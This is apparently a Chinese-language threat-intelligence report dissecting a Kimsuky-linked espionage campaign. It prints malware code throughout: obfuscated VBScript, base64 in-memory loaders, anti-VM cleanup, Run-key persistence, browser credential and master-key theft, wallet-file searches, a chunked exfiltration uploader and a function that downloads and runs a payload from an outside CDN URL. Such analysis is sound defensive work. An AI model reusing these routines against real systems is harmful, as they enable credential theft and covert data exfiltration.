1. 簡介

國家支持的網路攻擊活動已成為全球組織的重大關注點。這些活動通常利用先進技術滲透系統並在最少檢測的情況下收集情報。本報告審查了一個與知名 APT 團體相關的近期行動,該團體以其技術複雜性和針對性社交工程而聞名。焦點將放在攻擊的 PowerShell 階段、感染鏈以及底層技術細節。

本報告提供了對一個複雜的高級持續性威脅(Advanced Persistent Threat, APT)團體運作藍圖的詳細技術分析,重點在於其用於網路間諜活動的策略、技術和程序(Tactics, Techniques, and ProcedureS, TTPs)。該分析基於最新的威脅情報,旨在剖析該團體採用的技術機制,包括其惡意軟體框架、混淆方法和資料外洩策略。

Kimsuky APT威脅揭露:惡意腳本與C2策略 | 資訊安全新聞

2. 初始存取與執行機制

初始入侵通常始於高度定制的社交工程策略。觀察到的主要途徑涉及 malicious Windows shortcut (.lnk) 檔案。這些檔案通常嵌入壓縮檔案(例如 ZIP)中,以繞過電子郵件過濾並誘使收件人開啟。執行後,.lnk 檔案會啟動一個 HTML Application (HTA) 檔案,通常託管在遠端 Content Delivery Network (CDN) [1]。HTA 檔案特別危險,因為它們以完整系統權限執行 HTML 和腳本程式碼(例如 VBScript),直接存取檔案系統和登錄檔。

2.1. HTA 檔案混淆

該團體運作的一個關鍵特徵是 HTA 檔案中 VBScript 的高度混淆。這種混淆旨在繞過靜態檢測並阻礙分析。技術涉及使用十進制和十六進制值的組合來構建腳本行。這些值隨後通過算術運算處理,並使用 CLng (將十六進制字串轉換為十進制數字)和 Chr (將十進制值轉換為字元)等函數轉換為可讀字元。例如,觀察到的一種常見字串構建方法是:

Dim ss
ss = Chr(-65756 + CLng("&H10133")) ' w
ss = ss & Chr(3966404 / CLng("&Hbaac")) ' s
ss = ss & Chr(-78436 + CLng("&H132c7")) ' c
ss = ss & Chr(-81527 + CLng("&H13ee9")) ' r
ss = ss & Chr(10030755 / CLng("&H1752b")) ' i
ss = ss & Chr(CLng("&He736") - 59078) ' p
ss = ss & Chr(7193392 / CLng("&Hf23c")) ' t
ss = ss & Chr(1046270 / CLng("&H58d9")) ' .
ss = ss & Chr(CLng("&H151f2") - 86399) ' s
ss = ss & Chr(CLng("&Hd1b5") - 53581) ' h
ss = ss & Chr(CLng("&H10f4d") - 69352) ' e
ss = ss & Chr(4198608 / CLng("&H97dc")) ' l
ss = ss & Chr(-48915 + CLng("&Hbf7f")) ' l
Set oShell = CreateObject(ss)

這一系列操作有效地重建了字串 WScript.shell ,隨後用於創建系統互動物件。這種混淆方法使得安全解決方案僅通過靜態分析難以檢測 malicious intent [1]。

2.2. 通過誘騙文件進行欺騙

在初始執行後,惡意軟體通常從遠端伺服器下載一個誘騙 PDF 檔案(例如 sexoffender.pdf )至 %temp% 目錄。該 PDF 隨後使用 cmd.exe 自動開啟,並以系統預設的 PDF 檢視器啟動。誘騙文件通常被設計為看似官方政府通知,旨在心理操控受害者相信操作的合法性 [1]。

3. 惡意軟體部署與執行

3.1. 端點保護驗證與 Payload 傳遞

攻擊鏈中的關鍵步驟涉及驗證受害者端點保護的狀態。VBScript 執行命令 cmd /c sc query WinDefend 以檢查 Windows Defender 的狀態。如果 Defender 未運行,惡意軟體會採用不同的執行路徑。如果 Defender 處於活動狀態,VBScript 會啟動一個序列,使用 curl 下載一個 Base64 編碼的檔案(例如 zip.log )至 %LOCALAPPDATA% 目錄。該檔案隨後使用 certutil 解碼為 ZIP 檔案(例如 pipe.zip )。PowerShell 的 Expand-Archive 命令提取內容,通常包括四個關鍵檔案:

  • 1.log :用於資訊竊取的 Base64 編碼 PowerShell 腳本。
  • 2.log :用於 keylogging 功能的 Base64 編碼腳本。
  • 1.ps1 :設計用於解碼並執行 Base64 內容的 PowerShell 腳本。
  • 1.vbs :執行 1.ps1 的 VBScript,並將 1.log 2.log 作為參數傳遞。

1.ps1 腳本讀取 1.log 的內容,將 Base64 資料解碼為 PowerShell 腳本,並使用 Invoke-Expression iex )執行。這種技術被稱為 “living off the land”,利用合法系統工具執行惡意攻擊,使檢測更加困難 [1]。

param (
[string]$FileName
)
$content = GEt-\'c\'onTEnt $FileName —Raw
$plain = [System.Text.Encoding] ::UTF8.GetString([System. Convert] : :FromBase64String($content))
i`ex $plain

此 PowerShell 片段展示了 malicious 腳本如何讀取檔案,解碼其 Base64 內容,然後在記憶體中執行,避免直接執行 malicious 可執行檔案 [1]。

3.2. 反虛擬機檢查與清理

為規避沙箱或虛擬化環境中的分析,惡意軟體包含反虛擬機檢查。它使用 Win32_ComputerSystem 類別檢查系統製造商。如果檢測到 VMware、Microsoft(Hyper-V)或 VirtualBox 等虛擬化平台,則觸發 KillMe() 函數。該函數刪除之前創建的 malicious 檔案(例如 1.ps1 1.log 2.log 1.vbs )從本地應用程式資料路徑,然後終止執行。這是一種常見的反分析措施,防止研究人員在受控環境中研究惡意軟體 [1]。

function KillMe {
                     Remove-Item -Path "$localPath\pipe\2. log" -Force
                     Remove-Item -Path "$localPath\pipe\1.ps1" -Force
                     Remove-Item -Path "$localPath\pipe\1.log" -Force
                     Remove-Item -Path "$localPath\pipe\1.vbs" -Force
                     Exit
}
$computerSystem = Get-CimInstance —ClassName Win32_ComputerSystem
if ($computerSystem.Manufacturer -match "VMware" -or $computerSystem.Manufacturer -match
"Microsoft" -or $computerSystem.Manufacturer -match "VirtualBox") {
                     KillMe
}

3.3. 持久性機制

為保持對被滲透系統的長期存取,惡意軟體建立了持久性機制。一種觀察到的方法涉及在 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 下創建一個新的登錄檔項目,名稱為 WindowsSecurityCheck 。此項目確保位於 %LocalAppData% 目錄中的 VBScript(例如 1.vbs )在每次使用者登入 Windows 時自動執行 [1]。

function RegisterTask {
    $execpath = "$localPath\pipe\1.vbs"
    New-ItemProperty -Path "HKCU: \Software\Microsoft\Windows\CurrentVersion\Run"
    -Name "WindowsSecurityCheck” -Value
    $execpath -PropertyType String -Force
}

4. 資料發現與暫存

惡意軟體通過一系列針對性暫存活動系統性地準備資料外洩。這些函數收集廣泛的系統和使用者資訊,識別高價值檔案,並提取敏感瀏覽器資料。所有收集的資料在 %TEMP% 環境變數下的結構化目錄中組織,確保僅優先考慮相關資料進行外洩 [1]。

4.1. 受害者分析

Init() 函數收集詳細的系統分析資料並將其儲存在 %TEMP% 目錄中以 UUID 命名的資料夾中的 info.txt 檔案中。這包括檢查管理權限、使用者帳戶控制(User Account Control, UAC)設定、作業系統和 CPU 詳細資訊、磁碟和卷資料、網路介面卡設定以及執行中的程序。它還列出從 32 位和 64 位登錄檔路徑安裝的程式。值得注意的是,它嘗試壓縮憑證目錄(NPKI、GPKI),顯示其對特定使用者環境的關注 [1]。

  1. function Init {
  2. $outputFile = "$tempPath\$id\info.txt"
  3. if (Test-Path $outputFile) {
  4. Remove-Item $outputFile
  5. }
  6. $localLowPath = [System.IO.Path]::Combine($env:USERPROFILE, "AppData\LocalLow\NPKI")
  7. if (Test-Path $localLowPath) {
  8. Compress-Archive -Path $localLowPath -DestinationPath "$storePath\NPKI.zip" -Force
  9. }
  10. $localLowPath = "C:\GPKI"
  11. if (Test-Path $localLowPath) {
  12. Compress-Archive -Path $localLowPath -DestinationPath "$storePath\GPKI.zip" -Force
  13. }
  14. $systemInfo = "System Information - $(Get-Date)"
  15. $adminCheck = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
  16. $isAdmin = $adminCheck.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
  17. if ($isAdmin) {
  18. $systemInfo += "`r`nPrivilege: High`r`n"
  19. } else {
  20. $systemInfo += "`r`nPrivilege: Medium`r`n"
  21. }
  22. $uacSetting = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
  23. $systemInfo += ("ConsentPromptBehaviorAdmin: " + $uacSetting.ConsentPromptBehaviorAdmin)
  24. $systemInfo += "OS:$(Get-WmiObject -Class Win32_OperatingSystem | Out-String)"
  25. $computerInfo += "CPU:$(Get-WmiObject -Class Win32_Processor | Out-String)"
  26. }

4.2. 收集最近檔案

RecentFiles() 函數通過解析 %APPDATA%\Microsoft\Windows\Recent 中的 .lnk 捷徑收集最近存取檔案的路徑。它解析目標路徑並將其寫入名為 recent.txt 的檔案,儲存在 $storePath 目錄中的 %TEMP%\ 。這允許攻擊者識別並可能外洩受害者最近互動的文件 [1]。

  1. function RecentFiles {
  2. $recentFolder = [System.IO.Path]::Combine($env:APPDATA, 'Microsoft\Windows\Recent\')
  3. $recentFiles = Get-ChildItem -Path $recentFolder -Filter *.lnk
  4. $outputFile = "$storePath\recent.txt"
  5. $recentFiles | ForEach-Object {
  6. $targetPath = Get-ShortcutTargetPath -shortcutPath $_.FullName
  7. $targetPath | Out-File -FilePath $outputFile -Append
  8. }
  9. }

4.3. 竊取瀏覽器資料

GetBrowserData() 函數針對流行網頁瀏覽器(Edge、Chrome、Naver Whale、Firefox)收集敏感使用者資料,包括登入認證( Login Data )、書籤、Cookie 和加密金鑰。惡意軟體搜尋 %LOCALAPPDATA% %APPDATA% 下的預設和個人資料目錄,並將提取的檔案儲存到 $storePath 目錄。它還嘗試提取並解密 Chromium 瀏覽器使用的 encrypted_key ,並將其儲存為 *_masterkey 檔案。此外,它列出安裝的瀏覽器擴充功能,提供受害者瀏覽習慣和儲存認證的全面快照 [1]。

function GetBrowserData {
    $extensionpath = "$storePath\extensions.txt"
    try {
        $jsonContent = Get-Content -Path "$localPath\Microsoft\Edge\User Data\Local State" -Raw
        $jsonObject = $jsonContent | ConvertFrom-Json
        Unprotect-Data -encryptedData $jsonObject.os_crypt.encrypted_key -filePath "$storePath\edge_masterkey"
        $edgeProcess = Get-Process -Name "msedge" -ErrorAction SilentlyContinue
        
        if ($edgeProcess) {
        }

        $UserDataPath = [System.IO.Path]::Combine($env:LOCALAPPDATA, "Microsoft\Edge\User Data")
        $profileDirs = Get-ChildItem -Path $UserDataPath -Directory | Where-Object { $_.Name -match '^Profile\d+$' -or $_.Name -eq 'Default' }
        
        foreach ($profileDir in $profileDirs) {
            $profilePath = [System.IO.Path]::Combine($UserDataPath, $profileDir.Name)
            if (Test-Path $ProfilePath) {
                $destpath = "$storePath\Edge_" + $profileDir.Name + "_LoginData"
                Copy-Item -Path "$profilePath\Login Data" -Destination $destpath -ErrorAction SilentlyContinue
                $destpath = "$storePath\Edge_" + $profileDir.Name + "_Bookmark"
                Copy-Item -Path "$profilePath\Bookmarks" -Destination $destpath -ErrorAction SilentlyContinue
                GetExWFile "Edge" $profilePath $profileDir.Name
                "'r'nEdge'r'n" | Out-File -FilePath $extensionpath -Append
                $subFolders = Get-ChildItem -Path "$profilePath\Extensions" -Directory
                $subFolders | Select-Object -ExpandProperty Name | Out-File -FilePath $extensionpath -Append
            }
        }
    }
}

4.4. 從系統中發現檔案

CreateFileList() 函數對所有檔案系統磁碟機進行全面掃描,優先考慮 C:\Users 目錄,以定位文件、圖片、壓縮檔和其他可能敏感的檔案類型。它根據預定義的副檔名集過濾檔案,並搜尋與加密貨幣錢包和認證相關的檔案名稱。識別的檔案完整路徑被編譯到 FileList.txt 中,儲存在 %TEMP% 目錄中以 UUID 命名的資料夾內。此函數允許攻擊者編目有價值的檔案以進行針對性外洩 [1]。

function CreateFileList {
    $listpath = "$storePath\FileList.txt"
    Remove-Item -Path $listpath -ErrorAction SilentlyContinue
    $drives = Get-PSDrive -PSProvider FileSystem
    foreach ($drive in $drives) {
        if ($drive.Name -eq 'C') {
            $searchPath = Join-Path -Path $drive.Root -ChildPath 'Users\'
        } else {
            $searchPath = $drive.Root
        }
        $extensions = "*.txt", "*.doc", "*.csv", "*.doc", "*.docx", "*.xls", "*.xlsx", "*.pdf", '*.hwp', "*.hwpx",
                      "*.jpg", "*.jpeg", "*.png", "*.rar", "*.zip", "*.alz", "*.eml", "*.ldb", '*.log'
        Get-ChildItem -Path $searchPath -Recurse -File -Force -Include $extensions -ErrorAction SilentlyContinue | Out-File -FilePath $listpath -Append
        $namePatterns = "wallet|UTC--|blockchain|keystore|privatekey|coin|metamask|phrase|ledger|password|myether"
        Get-ChildItem -Path $searchPath -Recurse -Force -ErrorAction SilentlyContinue | Where-Object {
            $_.Name -match $namePatterns
        } | Out-File -FilePath $listpath -Append
    }
}

5. 資料外洩策略

一旦資料完成暫存,惡意軟體轉向主動竊取,採用控制的外洩過程以規避檢測。通過壓縮和分塊其 payload,惡意軟體減少觸發監控大規模異常上傳的網路安全控制的風險 [1]。

5.1. 外洩機制

Send() 函數將 $storePath 資料夾中的所有收集資料壓縮成 ZIP 檔案(例如 init.zip ),並重新命名為 init.dat ,然後使用 UploadFile() 函數外洩。 UploadFile() 函數通過將檔案分為 1MB 塊,使用 MultipartFormDataContent 通過 HTTP POST 傳送,確保大檔案的可靠傳輸。為保持隱秘,該函數為檔案名稱添加隨機性,除非明確指示保留原始名稱。成功上傳後,原始 ZIP 和本地資料會被刪除以掩蓋痕跡 [1]。

  1. function UploadFile {
  2. Param (
  3. [Parameter(Position = 0, Mandatory = $True)] [String] $uploadUrl,
  4. [Parameter(Position = 1, Mandatory = $True)] [String] $filePath,
  5. [Parameter(Position = 2)] [String] $tagstr = ""
  6. )
  7. Add-Type -AssemblyName "System.Net.Http"
  8. $client = New-Object System.Net.Http.HttpClient
  9. $uploadUrl2 = $uploadUrl + "&ap=1"
  10. try {
  11. $fileStream = [System.IO.File]::OpenRead($filePath)
  12. try {
  13. $chunkSizeBytes = 1MB
  14. $buffer = New-Object byte[] $chunkSizeBytes
  15. $chunkIndex = 0
  16. $randomNumber = Get-Random -Minimum 1000 -Maximum 9999
  17. if ($tagstr -eq "same") {
  18. $fileName = [System.IO.Path]::GetFileName($filePath)
  19. } elseif ($tagstr -ne "") {
  20. $fileName = $tagstr + "_" + [System.IO.Path]::GetFileName($filePath) + "_$randomNumber"
  21. } else {
  22. $fileName = [System.IO.Path]::GetFileName($filePath) + "_$randomNumber"
  23. }
  24. while (($bytesRead = $fileStream.Read($buffer, 0, $chunkSizeBytes)) -gt 0) {
  25. $multipartContent = New-Object System.Net.Http.MultipartFormDataContent
  26. $fileContent = New-Object System.Net.Http.StreamContent([System.IO.MemoryStream]::new($buffer[0..($bytesRead - 1)]))
  27. $fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::new("application/octet-stream")
  28. $multipartContent.Add($fileContent, "file1", $fileName)
  29. if ($chunkIndex -gt 0) {
  30. $response = $client.PostAsync($uploadUrl2, $multipartContent).Result
  31. } else {
  32. $response = $client.PostAsync($uploadUrl, $multipartContent).Result
  33. }
  34. $chunkIndex++
  35. }
  36. } finally {
  37. $fileStream.Close()
  38. }
  39. } catch {
  40. Write-Error "An error occurred: $_"
  41. }
  42. }

5.2. Keylogger 外洩

從解碼的 2.log 檔案衍生的 keylogger 組件在系統的暫存目錄下創建一個以系統 UUID 命名的資料夾。它將所有捕獲的資料記錄到該目錄中的 k.log 檔案。腳本在無限迴圈中執行,利用 Windows API 函數(例如 GetAsyncKeyState() GetForegroundWindow() GetWindowText() )捕獲按鍵、監控剪貼簿變更並記錄活動視窗標題。特殊鍵被轉換為可讀標籤以提高清晰度。所有收集的資料以原始格式儲存,供潛在外洩使用 [1]。 Work() 函數是 PowerShell 腳本中的核心操作迴圈,持續與其 command-and-control (C2) 伺服器通訊。它檢查 keylogger 記錄檔案( k.log )是否存在,若存在,則構建帶有受害者唯一 ID 和上傳標誌的 C2 URL,然後使用 UploadFile() 函數傳送檔案 [1]。

  1. function Work {
  2. while ($true) {
  3. Start-Sleep -Seconds 600
  4. $url = $serverurl + "?id=$id&ap=1"
  5. $filepath = "$storePath\k.log"
  6. UploadFile $url $filepath "same"
  7. Remove-Item -Path $filepath -ErrorAction SilentlyContinue
  8. }
  9. }

6. 命令與控制 (C&C)

惡意軟體進入命令與控制迴圈,實現與 C2 伺服器的動態互動,執行三個核心操作:

6.1. 命令與控制檔案取得

腳本向 /rd 端點發出 GET 請求,詢問伺服器是否需要外洩任何檔案。如果伺服器回應檔案路徑列表,惡意軟體將這些檔案上傳至 C2 伺服器 [1]。

6.2. Payload 傳遞

/wr 端點發出 GET 請求,伺服器回應需要下載的檔案列表。惡意軟體使用 HTTP GET 請求取得每個檔案並儲存至本機系統 [1]。

6.3. 遠端命令執行

腳本向 /cm 端點發出 GET 請求,檢查是否有排隊的 PowerShell 命令待執行。如果伺服器回應命令,惡意軟體立即使用 Invoke-Expression 執行,授予攻擊者即時控制 [1]。

6.4. 下載後續 Payloads

外洩後,惡意軟體從其 C2 伺服器獲取並處理 appkey payload。 GetAppKey() 函數負責傳遞並執行次要惡意軟體 payload。它生成隨機值以繞過 CDN 快取,並下載兩個檔案: appload.log (Base64 編碼的可執行檔案)和 app64.log (加密的 payload)。在將 appload.log 解碼為 app64.exe 後,惡意軟體將其作為自訂載入器執行 [1]。

  1. function GetAppKey {
  2. $randomNumber = Get-Random
  3. $loader = "https://cdn.glitch.global/b33b49c5-5e3d-4a33-b66b-c719b917fa62/appload.log?v=$randomNumber"
  4. $d1l = "https://cdn.glitch.global/b33b49c5-5e3d-4a33-b66b-c719b917fa62/appload.log?v=$randomNumber"
  5. DownloadFile $loader "$tempPath\appload.log"
  6. $base64String = Get-Content "$tempPath\appload.log" -Raw
  7. [System.IO.File]::WriteAllBytes(
  8. "$tempPath\app64.exe",
  9. [System.Convert]::FromBase64String($base64String)
  10. )
  11. DownloadFile $d1l "$tempPath\nzvwan.log"
  12. Start-Sleep -Seconds 1
  13. Start-Process -FilePath "$tempPath\app64.exe" -WorkingDirectory $tempPath
  14. Start-Sleep -Seconds 1
  15. $result = UploadFile $url "$tempPath\cc_appkey"
  16. Start-Sleep -Seconds 1
  17. if ($result -eq $true) {
  18. Remove-Item -Path "$tempPath\cc_appkey"
  19. Remove-Item -Path "$tempPath\app64.exe"
  20. Remove-Item -Path "$tempPath\nzvwan.log"
  21. Remove-Item -Path "$tempPath\appload.log"
  22. }
  23. }

7. 結論

對此 APT 團體運作藍圖的分析揭示了一個複雜且適應性強的對手。他們依賴混淆腳本、living-off-the-land 技術和多階段 payload 傳遞機制,凸顯了網路威脅的演變格局。對其初始存取、執行、持久性、資料暫存、外洩和命令與控制策略的詳細檢查為開發強大的防禦機制提供了寶貴見解。有效的對策需要超越傳統周邊防禦的全面安全方法,專注於行為分析、端點檢測與回應以及持續的威脅情報整合。